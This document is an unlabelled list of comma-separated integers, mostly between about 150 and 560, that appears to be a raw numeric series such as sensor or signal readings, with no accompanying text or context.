546, 332, 342, 329, 314, 290, 297, 286, 303, 306, 298, 308, 329, 322, 311, 305, 304, 315, 306, 312, 311, 309, 310, 309, 320, 312, 315, 310, 295, 311, 317, 304, 318, 300, 307, 312, 319, 314, 323, 312, 325, 326, 318, 311, 313, 317, 298, 301, 281, 310, 301, 315, 322, 300, 325, 297, 297, 311, 306, 310, 302, 305, 300, 318, 313, 296, 311, 313, 305, 310, 305, 300, 317, 310, 307, 314, 314, 295, 308, 304, 306, 299, 310, 310, 303, 290, 303, 313, 304, 299, 284, 305, 309, 315, 297, 313, 313, 315, 298, 305, 312, 309, 307, 310, 302, 310, 318, 318, 307, 313, 321, 309, 316, 312, 294, 315, 317, 311, 307, 308, 323, 322, 317, 315, 319, 299, 307, 306, 314, 314, 316, 321, 325, 317, 307, 317, 311, 315, 301, 317, 322, 326, 316, 318, 307, 302, 331, 303, 317, 308, 321, 311, 299, 318, 301, 314, 322, 302, 302, 314, 326, 321, 310, 314, 303, 300, 303, 306, 326, 312, 304, 306, 307, 302, 319, 305, 298, 310, 303, 313, 299, 319, 319, 303, 314, 318, 309, 310, 304, 305, 312, 306, 308, 299, 325, 288, 310, 306, 306, 290, 306, 318, 326, 317, 306, 317, 315, 313, 313, 306, 324, 304, 313, 320, 309, 302, 309, 309, 307, 306, 292, 327, 298, 306, 311, 312, 311, 324, 319, 311, 306, 296, 311, 314, 306, 303, 315, 293, 310, 314, 310, 319, 310, 306, 307, 313, 328, 299, 304, 311, 313, 311, 304, 319, 316, 309, 306, 308, 314, 319, 304, 308, 321, 314, 313, 306, 292, 311, 315, 313, 316, 316, 316, 310, 303, 308, 300, 305, 308, 312, 295, 293, 310, 293, 312, 304, 301, 310, 316, 305, 320, 295, 316, 300, 293, 317, 315, 308, 297, 307, 302, 297, 276, 285, 285, 272, 290, 289, 285, 286, 347, 357, 336, 329, 344, 327, 340, 332, 330, 334, 340, 332, 329, 325, 322, 331, 371, 528, 540, 545, 528, 539, 543, 555, 544, 535, 503, 457, 439, 461, 452, 449, 444, 454, 464, 495, 450, 394, 383, 368, 373, 363, 251, 256, 255, 236, 247, 249, 239, 248, 243, 242, 244, 242, 253, 242, 250, 249, 244, 229, 222, 225, 236, 229, 224, 229, 215, 220, 227, 222, 212, 277, 348, 347, 312, 274, 272, 248, 244, 280, 255, 341, 377, 355, 374, 388, 374, 379, 386, 375, 373, 376, 363, 370, 347, 372, 304, 297, 321, 302, 306, 310, 337, 353, 348, 337, 307, 299, 293, 278, 295, 316, 297, 294, 294, 263, 294, 360, 353, 355, 356, 365, 355, 354, 356, 344, 330, 362, 375, 367, 382, 375, 376, 395, 395, 354, 336, 327, 335, 332, 318, 317, 337, 337, 330, 319, 313, 312, 326, 327, 327, 235, 195, 173, 189, 184, 332, 351, 334, 334, 321, 356, 393, 405, 403, 397, 394, 395, 376, 397, 377, 391, 399, 397, 388, 411, 384, 397, 415, 365, 353, 350, 363, 344, 345, 348, 374, 354, 355, 328, 263, 246, 245, 225, 212, 195, 190, 195, 206, 229, 224, 289, 333, 337, 351, 370, 338, 327, 350, 319, 316, 328, 322, 315, 329, 332, 330, 335, 341, 314, 276, 270, 254, 246, 245, 259, 249, 240, 266, 273, 254, 252, 393, 367, 387, 372, 383, 374, 405, 394, 312, 262, 258, 265, 260, 258, 262, 249, 271, 285, 297, 344, 367, 280, 254, 279, 380, 343, 358, 361, 347, 352, 368, 373, 369, 370, 351, 369, 374, 367, 312, 293, 302, 261, 277, 297, 363, 352, 363, 352, 332, 272, 289, 289, 287, 310, 288, 302, 272, 273, 281, 307, 314, 311, 288, 293, 301, 296, 311, 409, 411, 386, 346, 413, 379, 410, 344, 335, 330, 336, 340, 343, 333, 333, 330, 302, 292, 313, 309, 318, 319, 317, 321, 331, 322, 393, 455, 450, 447, 434, 426, 384, 315, 309, 333, 312, 297, 303, 295, 338, 356, 339, 342, 343, 341, 340, 360, 334, 335, 331, 346, 328, 332, 337, 321, 346, 352, 347, 345, 336, 359, 366, 335, 322, 284, 294, 289, 300, 297, 280, 286, 283, 292, 305, 310, 290, 289, 288, 290, 292, 306, 309, 261, 242, 265, 262, 257, 250, 260, 246, 256, 236, 260, 281, 277, 275, 292, 285, 289, 272, 265, 292, 293, 296, 284, 277, 286, 303, 296, 295, 284, 275, 272, 287, 273, 273, 268, 293, 279, 300, 271, 297, 286, 296, 290, 295, 295, 273, 272, 290, 292, 295, 277, 291, 303, 286, 295, 288, 301, 276, 282, 274, 272, 276, 253, 249, 246, 237, 240, 252, 240, 239, 250, 242, 245, 271, 278, 291, 273, 291, 279, 274, 274, 282, 275, 274, 288, 232, 250, 247, 231, 243, 241, 235, 238, 239, 181, 163, 165, 163, 178, 168, 185, 190, 182, 170, 170, 186, 197, 178, 180, 164, 179, 362, 343, 348, 365, 350, 350, 334, 342, 344, 347, 340, 329, 357, 369, 351, 332, 312, 313, 305, 310, 319, 336, 355, 360, 360, 354, 356, 356, 356, 306, 294, 304, 290, 321, 194, 168, 175, 179, 175, 197, 179, 192, 167, 177, 171, 179, 373, 352, 348, 327, 348, 292, 183, 220, 357, 345, 345, 372, 346, 351, 331, 358, 361, 340, 344, 368, 362, 403, 380, 367, 383, 390, 361, 410, 402, 401, 403, 401, 343, 324, 327, 322, 333, 328, 328, 319, 289, 289, 286, 293, 350, 399, 381, 405, 382, 390, 385, 380, 392, 386, 329, 295, 285, 283, 286, 298, 323, 281, 296, 280, 271, 277, 296, 285, 325, 308, 327, 318, 305, 304, 307, 294, 293, 316, 314, 428, 420, 410, 411, 407, 379, 400, 347, 363, 339, 331, 320, 318, 352, 438, 420, 432, 431, 412, 423, 417, 401, 377, 399, 345, 331, 325, 313, 318, 303, 318, 332, 320, 339, 308, 321, 346, 332, 344, 360, 342, 345, 344, 351, 360, 339, 349, 350, 336, 339, 359, 343, 335, 325, 334, 333, 331, 308, 289, 286, 291, 283, 286, 278, 268, 342, 393, 378, 373, 408, 387, 372, 385, 372, 378, 387, 391, 385, 377, 407, 361, 391, 388, 373, 377, 365, 401, 387, 399, 372, 284, 292, 289, 277, 284, 264, 281, 265, 278, 291, 381, 381, 396, 392, 375, 401, 387, 343, 324, 303, 242, 256, 251, 245, 245, 252, 242, 233, 228, 237, 243, 239, 226, 221, 238, 226, 199, 226, 239, 247, 251, 239, 228, 222, 238, 232, 231, 236, 238, 234, 231, 237, 254, 281, 278, 272, 269, 271, 250, 244, 268, 267, 262, 292, 332, 325, 313, 335, 303, 331, 308, 309, 336, 329, 333, 326, 322, 341, 324, 336, 349, 351, 351, 352, 343, 346, 328, 325, 322, 281, 273, 264, 274, 270, 264, 261, 273, 257, 215, 214, 229, 214, 231, 272, 290, 273, 250, 216, 211, 219, 217, 194, 218, 213, 206, 224, 201, 222, 201, 226, 211, 205, 211, 204, 211, 215, 212, 224, 231, 230, 262, 239, 262, 236, 265, 243, 264, 240, 242, 258, 291, 353, 342, 354, 360, 339, 331, 348, 348, 363, 347, 341, 352, 361, 351, 348, 356, 366, 372, 364, 377, 362, 368, 368, 389, 389, 397, 375, 375, 384, 384, 389, 397, 388, 390, 378, 392, 381, 380, 393, 382, 387, 386, 407, 369, 383, 380, 357, 359, 335, 326, 305, 323, 323, 289, 281, 256, 276, 261, 266, 272, 248, 247, 267, 268, 241, 246, 249, 265, 300, 285, 282, 304, 380, 362, 359, 345, 352, 247, 235, 263, 354, 356, 345, 362, 355, 253, 365, 227, 209, 206, 256, 425, 449, 436, 424, 442, 383, 340, 330, 339, 332, 335, 349, 368, 342, 348, 328, 332, 329, 324, 353, 386, 392, 390, 411, 392, 403, 396, 383, 317, 303, 295, 283, 285, 294, 214, 208, 209, 208, 193, 207, 199, 211, 219, 200, 220, 205, 209, 234, 248, 256, 259, 256, 266, 263, 249, 267, 363, 390, 385, 384, 365, 369, 356, 371, 368, 360, 363, 347, 328, 321, 307, 308, 267, 245, 275, 285, 271, 384, 446, 406, 424, 399, 428, 296, 230, 217, 214, 207, 215, 212, 233, 327, 359, 353, 361, 350, 368, 354, 364, 357, 336, 379, 407, 410, 402, 401, 423, 404, 422, 384, 360, 352, 362, 354, 360, 346, 355, 355, 365, 359, 370, 342, 358, 343, 364, 359, 360, 358, 362, 380, 366, 367, 383, 371, 375, 378, 368, 361, 380, 347, 316, 298, 279, 246, 247, 246, 243, 251, 249, 233, 250, 244, 247, 228, 229, 262, 237, 199, 176, 157, 169, 189, 163, 177, 164, 168, 163, 172, 168, 161, 170, 293, 362, 361, 371, 360, 362, 380, 376, 410, 412, 400, 408, 404, 401, 405, 389, 404, 396, 408, 402, 396, 410, 360, 322, 316, 315, 314, 313, 321, 312, 313, 322, 329, 308, 313, 314, 296, 326, 333, 325, 304, 351, 386, 389, 395, 382, 373, 380, 393, 377, 363, 348, 345, 325, 266, 269, 267, 276, 256, 271, 269, 266, 263, 231, 255, 270, 286, 315, 370, 392, 387, 406, 413, 408, 388, 367, 362, 369, 379, 357, 359, 358, 348, 373, 364, 364, 358, 381, 367, 366, 370, 363, 360, 356, 369, 367, 356, 369, 360, 362, 361, 360, 314, 288, 287, 272, 251, 256, 252, 259, 274, 273, 266, 270, 287, 390, 399, 379, 384, 383, 370, 370, 373, 372, 370, 373, 382, 363, 352, 361, 284, 304, 271, 230, 220, 215, 211, 204, 198, 206, 224, 202, 204, 213, 217, 216, 201, 210, 233, 197, 207, 250, 280, 264, 263, 224, 209, 210, 195, 209, 213, 205, 234, 260, 247, 255, 254, 248, 254, 268, 263, 248, 247, 267, 263, 259, 264, 257, 330, 380, 370, 368, 371, 355, 349, 347, 365, 329, 349, 346, 347, 334, 248, 247, 244, 248, 240, 245, 228, 206, 214, 222, 217, 236, 220, 336, 381, 395, 392, 378, 376, 385, 368, 377, 357, 385, 372, 373, 390, 288, 296, 272, 287, 293, 252, 271, 275, 272, 284, 263, 260, 259, 254, 260, 247, 257, 231, 243, 229, 222, 232, 226, 238, 240, 241, 233, 251, 258, 259, 267, 255, 246, 246, 248, 244, 248, 222, 249, 226, 204, 221, 242, 242, 227, 226, 243, 221, 243, 216, 231, 278, 298, 322, 350, 339, 331, 300, 262, 370, 463, 458, 463, 448, 453, 454, 429, 349, 355, 354, 349, 367, 360, 349, 369, 359, 356, 439, 443, 365, 351, 310, 298, 308, 309, 319, 311, 308, 290, 296, 293, 295, 353, 373, 377, 366, 376, 369, 364, 355, 365, 351, 371, 367, 350, 374, 372, 373, 381, 359, 367, 373, 376, 377, 353, 365, 358, 381, 353, 380, 381, 365, 368, 372, 380, 378, 349, 316, 306, 313, 281, 315, 314, 291, 267, 275, 269, 237, 272, 240, 248, 254, 256, 243, 252, 241, 246, 256, 256, 250, 250, 241, 231, 232, 228, 208, 224, 224, 242, 278, 281, 270, 277, 297, 276, 292, 291, 378, 385, 360, 364, 367, 367, 365, 381, 371, 382, 368, 376, 383, 380, 394, 387, 380, 351, 315, 335, 319, 346, 357, 363, 328, 332, 318, 328, 297, 300, 303, 308, 302, 282, 277, 272, 266, 270, 263, 259, 252, 253, 255, 258, 255, 207, 198, 253, 261, 267, 254, 283, 262, 259, 266, 262, 332, 372, 378, 324, 269, 313, 372, 376, 376, 363, 366, 372, 382, 329, 344, 341, 342, 356, 348, 334, 343, 370, 318, 339, 351, 345, 353, 345, 357, 324, 345, 331, 353, 352, 345, 346, 343, 325, 345, 349, 360, 353, 345, 355, 347, 348, 355, 357, 353, 339, 349, 345, 340, 338, 357, 355, 343, 362, 357, 342, 351, 351, 360, 355, 364, 331, 350, 363, 347, 351, 350, 353, 342, 343, 342, 347, 339, 343, 348, 344, 332, 332, 321, 320, 327, 333, 313, 381, 403, 426, 406, 396, 416, 400, 398, 366, 355, 388, 401, 379, 372, 387, 377, 368, 379, 363, 380, 385, 337, 315, 324, 312, 336, 288, 316, 302, 310, 305, 317, 305, 306, 309, 310, 320, 312, 318, 308, 334, 305, 327, 322, 306, 306, 297, 306, 307, 312, 283, 294, 311, 320, 300, 291, 386, 444, 453, 442, 454, 425, 443, 348, 346, 352, 352, 358, 349, 352, 343, 354, 339, 353, 345, 350, 346, 364, 367, 351, 371, 366, 381, 369, 370, 352, 342, 350, 331, 330, 354, 338, 355, 349, 256, 281, 267, 250, 248, 246, 250, 256, 261, 277, 277, 257, 267, 274, 278, 279, 279, 280, 270, 278, 274, 288, 223, 281, 279, 341, 364, 357, 382, 368, 355, 369, 363, 325, 338, 334, 331, 339, 335, 333, 307, 324, 345, 333, 338, 315, 323, 368, 384, 371, 375, 378, 372, 367, 358, 383, 317, 262, 272, 245, 248, 276, 267, 258, 275, 299, 280, 253, 244, 247, 241, 261, 255, 240, 211, 231, 227, 270, 460, 454, 456, 447, 352, 346, 340, 350, 352, 359, 355, 361, 347, 308, 288, 269, 299, 299, 283, 286, 286, 286, 304, 283, 278, 296, 278, 280, 289, 281, 376, 392, 382, 393, 392, 379, 380, 378, 378, 379, 362, 343, 370, 361, 381, 362, 371, 381, 361, 368, 366, 329, 281, 273, 268, 277, 267, 255, 265, 277, 271, 334, 339, 367, 393, 372, 402, 397, 400, 405, 398, 375, 397, 395, 389, 383, 389, 396, 397, 406, 385, 374, 385, 382, 397, 391, 364, 383, 392, 379, 343, 295, 302, 293, 309, 276, 337, 388, 408, 388, 403, 389, 389, 305, 279, 302, 295, 289, 288, 297, 280, 340, 347, 346, 357, 394, 366, 364, 344, 374, 367, 295, 330, 348, 354, 363, 386, 349, 375, 367, 366, 357, 351, 355, 365, 341, 272, 219, 230, 222, 224, 249, 230, 217, 218, 253, 231, 226, 212, 248, 233, 234, 215, 244, 243, 253, 246, 255, 251, 254, 256, 263, 252, 300, 350, 364, 364, 355, 355, 353, 347, 350, 363, 337, 265, 264, 272, 263, 281, 265, 335, 370, 366, 361, 345, 359, 359, 359, 359, 353, 350, 344, 356, 311, 313, 289, 314, 289, 271, 216, 213, 236, 222, 196, 215, 210, 201, 205, 219, 200, 218, 219, 241, 249, 256, 254, 251, 327, 326, 360, 355, 346, 349, 373, 350, 341, 357, 350, 307, 290, 316, 300, 310, 277, 267, 242, 252, 239, 223, 204, 192, 190, 156, 187, 195, 192, 187, 191, 349, 364, 355, 383, 390, 394, 370, 359, 301, 306, 298, 299, 285, 279, 280, 290, 302, 290, 381, 380, 409, 384, 391, 384, 343, 347, 333, 285, 329, 336, 335, 310, 324, 265, 262, 296, 295, 307, 321, 323, 310, 307, 337, 360, 334, 353, 335, 341, 288, 282, 283, 314, 343, 292, 269, 352, 294, 273, 279, 270, 260, 272, 256, 270, 325, 307, 256, 363, 464, 435, 468, 458, 441, 434, 389, 335, 319, 314, 317, 315, 316, 303, 342, 436, 430, 445, 432, 434, 430, 428, 424, 436, 419, 405, 400, 349, 339, 365, 396, 351, 343, 350, 361, 342, 337, 348, 342, 352, 351, 383, 387, 379, 386, 374, 353, 342, 366, 361, 361, 348, 313, 288, 324, 266, 251, 287, 288, 270, 292, 291, 286, 286, 300, 277, 296, 287, 298, 308, 292, 294, 300, 292, 287, 293, 298, 292, 369, 371, 386, 385, 325, 391, 366, 362, 366, 361, 363, 371, 356, 364, 364, 365, 363, 352, 346, 368, 362, 380, 364, 362, 364, 365, 373, 366, 372, 341, 333, 294, 292, 259, 247, 258, 237, 264, 248, 236, 247, 237, 232, 235, 216, 209, 210, 208, 205, 214, 231, 248, 242, 235, 239, 235, 253, 270, 279, 273, 284, 272, 278, 276, 293, 279, 336, 411, 250, 298, 312, 310, 314, 325, 315, 305, 338, 324, 335, 353, 373, 372, 360, 366, 358, 373, 356, 371, 358, 363, 348, 361, 355, 369, 336, 365, 353, 337, 346, 317, 334, 366, 346, 339, 311, 283, 288, 306, 319, 278, 304, 335, 328, 320, 319, 394, 363, 366, 367, 364, 379, 374, 335, 314, 313, 305, 319, 312, 315, 315, 322, 310, 310, 309, 318, 308, 317, 307, 318, 312, 324, 326, 313, 307, 313, 312, 355, 355, 354, 337, 348, 352, 359, 372, 401, 358, 368, 368, 373, 341, 301, 276, 278, 277, 297, 280, 273, 295, 359, 368, 378, 363, 340, 272, 264, 225, 226, 210, 215, 237, 222, 204, 225, 346, 364, 356, 300, 302, 300, 294, 283, 281, 275, 252, 233, 231, 249, 207, 227, 224, 219, 230, 213, 229, 198, 212, 220, 346, 439, 384, 348, 340, 322, 320, 309, 318, 311, 363, 372, 383, 385, 380, 392, 364, 384, 372, 367, 363, 363, 373, 373, 351, 380, 366, 322, 309, 320, 286, 350, 358, 386, 367, 376, 339, 283, 267, 280, 299, 298, 270, 297, 283, 256, 251, 243, 248, 253, 244, 238, 238, 203, 215, 200, 185, 213, 196, 251, 240, 230, 245, 240, 242, 248, 271, 284, 279, 271, 274, 285, 316, 329, 330, 323, 306, 306, 301, 318, 349, 346, 332, 345, 343, 346, 358, 367, 364, 349, 351, 355, 374, 348, 315, 286, 294, 271, 254, 272, 261, 273, 274, 275, 262, 322, 341, 348, 274, 291, 297, 270, 245, 271, 259, 249, 245, 260, 254, 268, 267, 269, 243, 269, 249, 257, 260, 211, 198, 202, 186, 235, 216, 186, 202, 199, 202, 200, 185, 208, 182, 189, 189, 200, 185, 197, 218, 217, 207, 223, 224, 207, 219, 200, 208, 385, 377, 374, 388, 391, 388, 371, 371, 396, 415, 422, 429, 411, 419, 413, 404, 418, 419, 371, 368, 357, 360, 364, 367, 401, 359, 404, 431, 428, 425, 415, 378, 359, 349, 356, 360, 366, 362, 352, 342, 306, 326, 296, 282, 287, 274, 221, 235, 315, 414, 404, 381, 401, 389, 390, 392, 379, 290, 288, 292, 276, 283, 256, 188, 180, 188, 202, 264, 262, 258, 409, 394, 411, 407, 383, 307, 290, 274, 281, 265, 282, 287, 258, 247, 253, 248, 252, 260, 252, 249, 266, 256, 251, 264, 243, 253, 261, 293, 382, 401, 380, 378, 380, 394, 389, 412, 375, 391, 309, 348, 262, 388, 340, 354, 338, 335, 340, 331, 327, 333, 328, 330, 334, 329, 327, 318, 308, 309, 311, 345, 337, 346, 344, 346, 354, 338, 349, 347, 337, 340, 331, 333, 343, 336, 342, 347, 335, 327, 343, 325, 341, 344, 342, 331, 334, 336, 339, 351, 331, 346, 338, 343, 333, 397, 389, 375, 403, 401, 397, 392, 381, 383, 386, 377, 390, 393, 378, 385, 397, 316, 311, 317, 309, 305, 322, 301, 287, 239, 236, 247, 238, 245, 220, 243, 245, 228, 241, 263, 258, 323, 343, 349, 346, 353, 345, 391, 397, 349, 334, 352, 346, 384, 403, 386, 378, 390, 369, 397, 371, 306, 264, 230, 156, 163, 162, 153, 165, 166, 160, 171, 152, 172, 159, 164, 174, 312, 308, 314, 306, 291, 333, 304, 304, 288, 329, 327, 324, 309, 342, 339, 336, 338, 348, 351, 348, 340, 353, 332, 346, 344, 347, 348, 345, 343, 355, 345, 341, 351, 354, 343, 343, 335, 306, 300, 278, 307, 308, 301, 305, 309, 309, 304, 298, 298, 318, 289, 292, 299, 304, 308, 305, 302, 293, 297, 316, 312, 327, 326, 319, 325, 327, 312, 302, 294, 277, 293, 272, 275, 265, 282, 385, 382, 386, 384, 376, 316, 296, 312, 300, 312, 304, 303, 310, 287, 297, 355, 389, 312, 318, 320, 301, 320, 317, 297, 317, 308, 319, 310, 333, 296, 211, 214, 230, 190, 207, 192, 202, 193, 211, 183, 200, 208, 206, 193, 195, 181, 188, 189, 202, 189, 204, 204, 220, 182, 343, 429, 436, 420, 437, 412, 419, 425, 417, 427, 428, 413, 426, 411, 434, 422, 421, 419, 418, 420, 423, 348, 337, 342, 334, 322, 328, 313, 324, 327, 366, 393, 369, 365, 372, 366, 353, 299, 265, 299, 276, 279, 283, 284, 293, 281, 274, 262, 279, 280, 287, 271, 262, 283, 267, 281, 322, 336, 331, 325, 355, 317, 270, 312, 327, 333, 336, 372, 346, 351, 326, 314, 324, 340, 330, 340, 324, 337, 307, 299, 298, 287, 304, 299, 372, 407, 344, 332, 369, 325, 352, 319, 304, 335, 303, 245, 233, 249, 239, 229, 249, 289, 299, 291, 298, 349, 391, 392, 347, 308, 319, 301, 301, 306, 292, 314, 307, 283, 283, 308, 281, 299, 302, 314, 305, 317, 335, 364, 360, 386, 371, 377, 309, 283, 277, 304, 294, 291, 290, 299, 286, 283, 207, 210, 211, 206, 229, 203, 220, 208, 194, 201, 201, 199, 179, 205, 183, 196, 200, 189, 190, 205, 202, 199, 201, 195, 191, 265, 381, 348, 314, 405, 403, 379, 345, 326, 220, 232, 232, 281, 340, 338, 334, 352, 349, 339, 345, 334, 343, 348, 347, 398, 384, 396, 407, 401, 396, 409, 393, 368, 385, 361, 365, 354, 278, 317, 279, 260, 276, 331, 262, 262, 273, 271, 284, 261, 276, 254, 269, 280, 273, 271, 256, 259, 267, 267, 273, 330, 402, 442, 421, 414, 394, 397, 405, 422, 331, 329, 319, 306, 332, 311, 309, 316, 332, 355, 337, 334, 293, 325, 310, 320, 285, 249, 231, 265, 257, 247, 262, 256, 252, 217, 244, 330, 389, 385, 410, 401, 409, 369, 377, 374, 399, 382, 381, 364, 296, 301, 305, 293, 309, 298, 319, 305, 297, 284, 289, 300, 320, 439, 399, 428, 419, 403, 419, 440, 422, 428, 429, 413, 399, 295, 260, 258, 256, 256, 261, 246, 270, 279, 266, 247, 268, 305, 383, 382, 387, 360, 381, 372, 388, 379, 382, 384, 373, 385, 385, 387, 317, 274, 267, 266, 276, 252, 268, 249, 272, 247, 248, 259, 255, 262, 381, 372, 356, 253, 259, 367, 377, 378, 394, 381, 371, 362, 340, 275, 253, 301, 373, 374, 357, 380, 398, 372, 365, 351, 355, 362, 379, 363, 259, 264, 256, 262, 371, 381, 363, 381, 370, 349, 385, 377, 382, 373, 379, 384, 371, 377, 357, 375, 370, 387, 389, 385, 398, 379, 377, 359, 359, 377, 359, 370, 366, 369, 373, 368, 376, 327, 260, 273, 297, 284, 265, 256, 238, 271, 329, 380, 366, 369, 387, 376, 376, 371, 363, 354, 373, 356, 363, 368, 361, 342, 335, 338, 328, 329, 335, 327, 306, 329, 332, 354, 378, 356, 362, 359, 370, 360, 353, 359, 371, 371, 350, 368, 363, 334, 350, 322, 279, 264, 273, 314, 266, 268, 270, 265, 259, 275, 332, 265, 275, 273, 267, 275, 244, 293, 292, 334, 391, 374, 279, 272, 270, 274, 320, 257, 206, 190, 194, 195, 227, 226, 219, 188, 225, 245, 235, 225, 257, 227, 223, 233, 338, 391, 358, 266, 238, 236, 253, 274, 270, 270, 350, 381, 368, 344, 328, 374, 278, 235, 238, 239, 235, 228, 214, 240, 230, 229, 218, 237, 225, 226, 233, 219, 185, 192, 207, 200, 190, 193, 196, 216, 200, 194, 202, 191, 199, 195, 192, 186, 194, 204, 187, 278, 439, 435, 450, 431, 420, 444, 449, 444, 435, 437, 449, 437, 430, 441, 445, 447, 421, 435, 451, 413, 325, 289, 286, 322, 381, 291, 307, 289, 298, 282, 278, 286, 342, 338, 330, 330, 302, 320, 329, 312, 316, 331, 319, 307, 322, 364, 358, 345, 336, 364, 372, 386, 355, 367, 363, 301, 277, 264, 254, 262, 253, 249, 279, 260, 253, 196, 206, 227, 204, 214, 191, 182, 205, 367, 349, 357, 345, 359, 358, 352, 362, 349, 355, 396, 403, 401, 401, 394, 385, 376, 404, 377, 394, 368, 352, 372, 401, 376, 404, 380, 359, 333, 378, 384, 377, 370, 333, 308, 319, 311, 304, 297, 315, 310, 315, 303, 302, 310, 319, 309, 332, 344, 343, 347, 326, 348, 325, 356, 326, 334, 317, 325, 306, 321, 316, 317, 270, 263, 260, 256, 263, 260, 251, 267, 256, 350, 448, 437, 437, 431, 450, 445, 382, 347, 355, 367, 340, 347, 341, 357, 342, 340, 336, 342, 338, 346, 329, 353, 340, 346, 347, 343, 328, 307, 323, 308, 425, 439, 450, 447, 442, 425, 425, 429, 361, 298, 279, 272, 284, 281, 276, 283, 285, 293, 296, 308, 339, 322, 331, 338, 346, 334, 315, 342, 324, 328, 316, 322, 315, 321, 344, 363, 359, 365, 330, 327, 319, 364, 353, 358, 368, 360, 348, 338, 325, 324, 320, 326, 303, 314, 307, 309, 319, 372, 391, 388, 326, 231, 245, 249, 267, 384, 238, 253, 235, 260, 277, 239, 230, 274, 336, 317, 325, 316, 327, 319, 320, 303, 318, 311, 303, 322, 315, 305, 310, 291, 307, 304, 297, 325, 303, 306, 307, 305, 291, 306, 331, 300, 310, 303, 306, 312, 292, 284, 319, 301, 316, 315, 277, 298, 299, 314, 304, 301, 306, 315, 319, 309, 305, 304, 308, 296, 298, 316, 308, 333, 302, 309, 303, 304, 314, 304, 311, 309, 315, 294, 318, 323, 307, 319, 308, 305, 305, 319, 341, 320, 326, 336, 341, 364, 374, 361, 354, 350, 343, 311, 247, 256, 259, 252, 244, 265, 251, 307, 413, 413, 416, 413, 425, 415, 403, 413, 425, 423, 412, 396, 409, 415, 404, 342, 323, 339, 333, 343, 329, 334, 329, 361, 381, 367, 383, 320, 315, 294, 268, 263, 264, 252, 256, 250, 216, 201, 188, 180, 192, 180, 187, 189, 170, 184, 184, 188, 194, 187, 176, 203, 197, 206, 194, 204, 194, 187, 183, 195, 191, 204, 210, 265, 309, 316, 309, 320, 269, 330, 329, 328, 347, 394, 395, 397, 387, 385, 386, 390, 394, 387, 398, 345, 362, 359, 358, 372, 366, 364, 373, 375, 376, 344, 366, 319, 319, 296, 292, 289, 282, 233, 247, 259, 223, 214, 254, 261, 256, 246, 255, 257, 265, 250, 289, 419, 417, 430, 387, 387, 441, 408, 403, 406, 382, 317, 265, 269, 275, 254, 247, 254, 268, 251, 262, 269, 365, 375, 382, 374, 384, 388, 369, 392, 370, 368, 354, 310, 256, 239, 245, 243, 241, 227, 228, 226, 227, 221, 241, 229, 324, 366, 354, 367, 377, 413, 414, 422, 420, 412, 402, 422, 407, 423, 399, 411, 413, 401, 423, 406, 395, 414, 414, 393, 400, 410, 395, 365, 341, 329, 356, 360, 330, 340, 345, 340, 305, 289, 263, 274, 259, 268, 261, 294, 287, 292, 293, 339, 391, 390, 372, 369, 356, 367, 390, 361, 246, 252, 262, 238, 251, 246, 234, 237, 227, 227, 209, 219, 217, 219, 228, 225, 231, 242, 232, 228, 220, 234, 360, 386, 229, 233, 247, 237, 221, 244, 219, 231, 230, 308, 389, 320, 299, 420, 384, 402, 400, 394, 398, 407, 363, 337, 285, 293, 293, 284, 276, 277, 291, 303, 285, 283, 292, 269, 279, 292, 310, 302, 306, 319, 314, 317, 313, 301, 323, 316, 315, 317, 423, 432, 428, 442, 424, 428, 437, 375, 365, 367, 359, 370, 356, 373, 364, 359, 343, 333, 363, 353, 373, 360, 344, 357, 360, 349, 358, 351, 365, 346, 353, 331, 339, 332, 286, 303, 317, 291, 290, 262, 218, 228, 233, 235, 242, 254, 248, 229, 241, 228, 238, 230, 235, 238, 242, 235, 235, 242, 317, 430, 415, 399, 412, 441, 423, 421, 432, 424, 317, 306, 314, 328, 447, 430, 411, 417, 422, 429, 409, 394, 362, 383, 367, 360, 357, 366, 369, 367, 364, 378, 354, 357, 367, 378, 358, 353, 376, 376, 357, 363, 369, 370, 371, 378, 380, 364, 350, 359, 343, 346, 341, 350, 354, 343, 347, 369, 373, 330, 318, 297, 305, 311, 353, 275, 253, 268, 271, 181, 176, 160, 168, 189, 175, 197, 333, 334, 338, 323, 330, 331, 341, 343, 340, 337, 336, 319, 323, 317, 336, 332, 324, 324, 310, 326, 314, 297, 300, 337, 361, 380, 364, 405, 397, 392, 390, 402, 402, 399, 394, 391, 368, 352, 354, 356, 352, 365, 357, 355, 353, 352, 348, 351, 346, 364, 340, 301, 308, 302, 294, 293, 265, 248, 232, 251, 236, 236, 224, 231, 248, 231, 227, 198, 211, 188, 197, 200, 196, 202, 278, 259, 275, 305, 365, 349, 356, 342, 351, 352, 371, 356, 359, 356, 349, 343, 306, 273, 263, 258, 267, 264, 263, 263, 250, 266, 251, 271, 258, 262, 268, 257, 257, 267, 258, 251, 260, 259, 277, 273, 259, 259, 262, 254, 245, 251, 242, 269, 340, 336, 344, 357, 384, 362, 373, 407, 391, 394, 385, 389, 367, 362, 354, 360, 323, 315, 275, 316, 298, 269, 262, 278, 280, 259, 259, 269, 278, 279, 261, 269, 259, 259, 255, 251, 257, 248, 229, 232, 220, 236, 229, 205, 241, 216, 210, 198, 269, 301, 292, 286, 294, 283, 284, 296, 301, 307, 287, 357, 380, 377, 383, 376, 385, 377, 338, 302, 306, 302, 301, 301, 305, 295, 297, 303, 304, 300, 298, 289, 304, 283, 296, 287, 299, 278, 256, 262, 260, 244, 251, 223, 269, 251, 237, 260, 246, 238, 240, 236, 229, 246, 227, 235, 238, 221, 232, 243, 228, 229, 230, 234, 229, 209, 218, 186, 245, 221, 218, 197, 227, 212, 225, 219, 222, 213, 235, 226, 230, 239, 230, 253, 243, 273, 227, 215, 243, 212, 233, 231, 240, 235, 225, 235, 219, 251, 231, 223, 251, 271, 282, 271, 269, 267, 243, 247, 250, 272, 252, 235, 246, 242, 250, 247, 234, 216, 206, 209, 209, 202, 228, 218, 210, 233, 211, 213, 213, 208, 225, 215, 218, 200, 229, 212, 203, 218, 196, 192, 211, 207, 221, 235, 209, 212, 230, 190, 183, 181, 175, 181, 174, 174, 188, 182, 200, 179, 188, 199, 215, 214, 376, 384, 412, 386, 369, 389, 389, 393, 395, 389, 364, 396, 356, 314, 316, 324, 308, 322, 306, 320, 308, 308, 303, 310, 302, 303, 321, 293, 301, 296, 287, 290, 286, 285, 283, 284, 282, 277, 271, 287, 281, 298, 266, 290, 283, 244, 217, 223, 218, 225, 206, 204, 215, 214, 212, 237, 227, 229, 221, 219, 217, 221, 206, 223, 207, 209, 191, 205, 212, 206, 207, 279, 393, 408, 395, 412, 382, 376, 289, 310, 314, 301, 277, 286, 287, 300, 279, 278, 272, 286, 227, 209, 196, 237, 224, 245, 233, 235, 246, 233, 214, 206, 235, 211, 212, 215, 